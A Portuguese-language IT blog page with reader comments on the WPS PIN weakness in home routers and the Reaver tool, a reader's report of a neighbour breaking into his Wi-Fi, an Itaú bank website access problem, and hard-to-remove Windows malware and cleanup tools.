    O que significa que nesses casos nem é preciso o Reaver. Basta abrir um notebook com Windows 7 e tentar conexão nas redes uma a uma procurando quem aceita esse PIN.

    Ridículo!

    Pelo menos os mencionados, que eu saiba, não são vendidos no Brasil.

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Sony Santos

    Uma implementação correta não implicaria em 100 milhões de tentativas?

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Sony Santos

    Acabei de ler o link… o último dígito é checksum. Dããã. Não vejo necessidade de checksum neste caso; um dígito a mais de segurança me parece mais importante.

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Pois é. Em outra situação eu diria que “deve haver uma boa razão”, mas diante da sucessão de decisões estúpidas que agora se tornaram públicas,  tenho que concluir que trata-se de outra estupidez.

      VN:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
  • O roteador Siroco EVO que criou aquele enorme tópico no Buzz pelo menos tem uma opção para desativar o WPS:

    Eu não pude testar ainda se ele é vulnerável, porque ainda não consegui botar o reaver-wps para funcionar.

     

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • O método que estou usando para detectar roteadores possivelmente vulneráveis (por terem WPS ativo) é usar o Windows Seven. O roteador é “suspeito” se no lugar de apenas pedir a senha, der a opção de apertar o botão:

     

     

    Eu não me lembro em que circunstâncias o Windows pede o PIN. Eu tenho a impressão que só acontece no VISTA.

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Ramon

    Jefferson quando aparece a mensagem no reaver ” failed to associate SSID …” é por que o WPS está desabilitado?

    para fazer esse tipo de ataque algum cliente precisa está conectado ao roteador alvo?

    Para conectar no windows 7 é só digitar o PIN no lugar da senha??? 

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Rodrigo

    Tenho um visinho que sempre consegue entrar no meu roteador e troca a senha, tambem aparecem ips de logs nele que não sei de onde vem.
    a Senha e uma frase de duas linhas com números inclusos.
    Uso wpa2psk e mesmo assim o cara entra
    Não aparece o ip nem o mac andress da maquina dele.

    Como esse cara consegue isso? Depois ele ainda fala tds as paginas que visitei.

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Rodrigo

    Wikresharck? e clonando o mac da minha placa de rede local.
    Acho redes Wireless muito, mas muito frágeis.
    Será que tem alguma porta aberta no roteador.

    Obrigado

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Rodrigo

    Não ele não tem o referido botão Wps conheço esses roteadores já configurei ele tambem.

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Carvalho.

      Rodrigo, pode ser que o cara que está mudando a tua senha não seja o teu vizinho. O atacante pode estar vindo de fora! À um tempo foi descoberta uma vulnerabilidade em mais de 500 mil roteadores domésticos que poderiam ser atacados via web. Não lembro bem onde nem quando vi essa informação, mais acontecia comigo de o meu roteador ter umas atitudes estranhas do tipo: não reconhecer a senha de acesso ou aparecer umas configurações esquisitas. Aconselho a desativar o acesso da interface de configuração via web (principalmente depois de reinstalar o firmware no roteador, pode ser a mesma versão. Eu fiz isso pensando que poderia um atacante ter feito um upload de um firmware “viciado”) e mudar a senha de acesso principal às configurações. Assim você irá ter certeza que o ataque é interno…

      Você sabia que existe um tipo de phising que modifica o endereço do servidor DNS (aquele servidor responsável por transformar o “www.google.com.br” em 74.125.229.223, o endereço que os computadores se conversam) para apontar para um servidor DNS infectado. Esses servidores infectados repassam quase todos os endereços corretamente, mais quando o “dono” desse servidor tem uma página falsa de um banco (Banco do Brasil por exemplo) eles marcam esse site e redirecionam para o servidor web (páginas de internet) com essa “cópia” falsa que vai pedir dados que ajudam a acessar a conta da vítima (como se costuma ver, pedindo para digitar todas as posições das chaves de segurança sob a ameaça de suspensão da conta) além de capturar todos os dados sensíveis dos acessos. Isso geralmente é transparente para o usuário. Pense nessa possibilidade de invasão. Algum estelionatário quer seus dados para ganhar “algum” para o cafezinho… 
       
      Abraços e boa sorte!

      Carvalho.

      VA:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
      • Rodrigo, pode ser que o cara que está mudando a tua senha não seja o teu vizinho.

        Segundo o texto de Rodrigo, é o vizinho, sim:

        Depois ele ainda fala tds as paginas que visitei.

         

        VN:R_U [1.9.13_1145]
        Rating: 0.0/5 (0 votes cast)
        • Carvalho

          Tem algo estranho nesse depoimento. Quantos roteadores residenciais/domésticos você conhece que grava o log das páginas visitadas? No máximo, esses roteadores (mais simples) gravam os IPs/MACs que se conectaram à este… Acho que o caso pode ser mais sério! Pode ser um spyware ou mesmo um simples RDP que o tal vizinho está usando na máquina desse colega…
           
          Abraços.
           
          Carvalho.

          VA:R_U [1.9.13_1145]
          Rating: 0.0/5 (0 votes cast)
          • Salvo engano, uma vez que ele tenha a senha da rede, o Wireshark pode observar em tempo real o tráfego do vizinho.

            VN:R_U [1.9.13_1145]
            Rating: 0.0/5 (0 votes cast)
  • Fred

    Raciocina comigo …uma vez ke o cracker tenha conseguido o PIN do router , só tem um geito de evitar ke ele nao entre na sua net novamente …trocando o pin do aparelho mas é possivel trocar o pin? e logico trocar a senha e desabilitar o wps…PS: se nao trocar o pin com 1 tentaiva com o numero correto do pin o reaver consegue descobrir a nova senha ….

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Se seu aparelho é vulnerável, não importa se você trocar o PIN. Se seu aparelho não é vulnerável, trocar o PIN é desnecessário.

      E já vi aparelhos onde é possível escolher o PIN.

      VN:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
      • Carvalho.

        Acho que mais importante do que pensar em trocar o PIN é confirmar se desativando a função WPS/QSS faz o roteador inseguro tornar-se seguro!

        Tenho um TP-Link e mecho em outros instalados por mim, sempre desativo o QSS/WPS e queria mesmo saber se é eficaz. Nas interfaces de configuração da TP-Link tem a opção de mudar/restaurar o PIN do aparelho…
         
        Abraços.
         
        Carvalho.

        VA:R_U [1.9.13_1145]
        Rating: 0.0/5 (0 votes cast)

Clique aqui para comentar.
OBS: Os links "Responder" não aparecem nesta página, mas aparecerão na próxima.Por favor use-os se estiver respondendo a um comentário.

Problemas no acesso ao Itaú

Ao tentar acessar itau.com.br, sempre dá erro na primeira tentativa. Na segunda o site entra. Testado com IE e Firefox, em dois computadores diferentes em duas redes completamente distintas (um deles é o meu desktop, em casa).

E dá a seguinte mensagem ao acessar com o Firefox 3.6.25:

Nas minhas contas 3.6.25 é mais recente que 3.0.

O cliente estava usando a versão 4.0 e dava a mesma mensagem. Eu atualizei o Firefox para a versão 10.0 e continuou dando a mensagem.Tive que instruir o cliente a não usar o Firefox.

Testei com o IE8, mas estava esquisito. Depois de aplicar todas as atualizações de segurança para o IE8 que eu tinha no meu kit, passou a funcionar “mais ou menos”.

VN:R_U [1.9.13_1145]
Rating: 0.0/5 (0 votes cast)
4 comentários

Clique aqui para comentar.
OBS: Os links "Responder" não aparecem nesta página, mas aparecerão na próxima.Por favor use-os se estiver respondendo a um comentário.

O malware “esperto” parece estar ficando mais comum

Até meados de 2009 eu podia me gabar de ser capaz de remover “na munheca” 100% das infestações  de malware, simplesmente usando ferramentas como o Autoruns e, algumas poucas vezes, o Bankerfix. Mas no último ano e meio eu me deparei pelo menos quatro vezes com máquinas onde, baseado nos sinais e sintomas, eu tinha certeza de que havia um malware mas não fui capaz de achá-lo.

Um desses sinais é configurar o Windows para exibir arquivos ocultos e a opção ser revertida imediatamente.

Foram pelo menos quatro situações em que eu tive que renomear a instalação do Windows e reinstalar tudo do zero. Coisa que raramente eu preciso fazer.

Em nenhuma das situações eu fiz buscas por rootkits. Quando só resta a possibilidade de rootkit, o melhor a fazer mesmo é começar do zero. Se a busca for negativa, você perdeu tempo. Se for positiva… com rootkit não se brinca.

VN:R_U [1.9.13_1145]
Rating: 0.0/5 (0 votes cast)
6 comentários
  • juliaof

    Olá Jefferson, como você não comentou, acho pertinente citar que há como causar esse comportamento no Windows Explorer modificando uma chave no registro do Windows, quando eu trabalhava com manutenção de computadores e removia malwares (entre 2006 e 2008), de vez em quando aparecia um assim. Claro que é necessário desabilitar o malware antes pra não voltar a ocorrer, mas as vezes o que falta é só alterar essa chave do registro.
    Achei esse site que cita a chave de registro e outras causas pra esse problema (particulamente só precisei alterar a chave do registro): http://www.technize.com/show-hidden-files-and-folders-not-working/

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Saulo Benigno

    Não tentasse executar nenhum programa de limpeza antes de instalar o Windows do zero?
    Eu normalmente uso a versão free do Malwarebytes Anti-Malware sempre ajuda.

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Walter R. Gomes

    E o ComboFix? Não resolve?

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Eu não lembro por que não uso o Combofix, então executei-o aqui na minha máquina e tive essas impressões:

    • * Se ofereceu para instalar o Console de Recuperação do XP, mas eu já tenho o console instalado. Provavelmente ele não notou porque eu tenho triplo boot e ia matar meu bootloader (Seven);
    • * Demora uma eternidade: mais de 30 minutos numa partição Windows que só tem 30GB.
    • * Só deu falsos positivos (e trabalho), removendo para a quarentena arquivos legítimos como o sqlite.dll, um programa que eu mesmo fiz e até um arquivo .log que era texto puro. É, eu submeti os arquivos executáveis removidos para o Virustotal e deram 0/46 

    Mas já coloquei-o no meu kit. Numa máquina onde a próxima opção for começar tudo do zero, não custa nada tentar um programa paranóico.

     

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • wagnerferreira

    Eu só costumo formatar em último caso, quando mesmo depois de removidos vírus ou spywares o Windows ainda fica “bixado”. Ainda tento a reparação do sistema pelo CD antes de formatar.
    Tenho um ritual que consiste em colocar o HD do cliente em um micro meu e rodo o Avira, Nod32 (portátil) e o Spyware Terminator. Depois volto com o HD pro micro do cliente e rodo o Spybot, BankerFix, SmitfraudFix e ComboFix.
    Se der tudo certo, crio um ponto de restauração do sistema, apago os antigos e limpo o registro do Windows com o MV RegClean.
    Claro que não faço isso na casa do cliente, eu explico a situação, explico que demora bastante o procedimento e só dou alguma notícia para o cliente com 24hs.
     

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Eu só costumo formatar em último caso,

      Eu também não formato. O que eu chamo de “começar do zero” é acessar o HDD por algum meio offline, mover todo o conteúdo da partição de sistema para um diretório e começar uma nova instalação. Tudo o que o cliente procurar vai estar preservado.

       

      VN:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)

Clique aqui para comentar.
OBS: Os links "Responder" não aparecem nesta página, mas aparecerão na próxima.Por favor use-os se estiver respondendo a um comentário.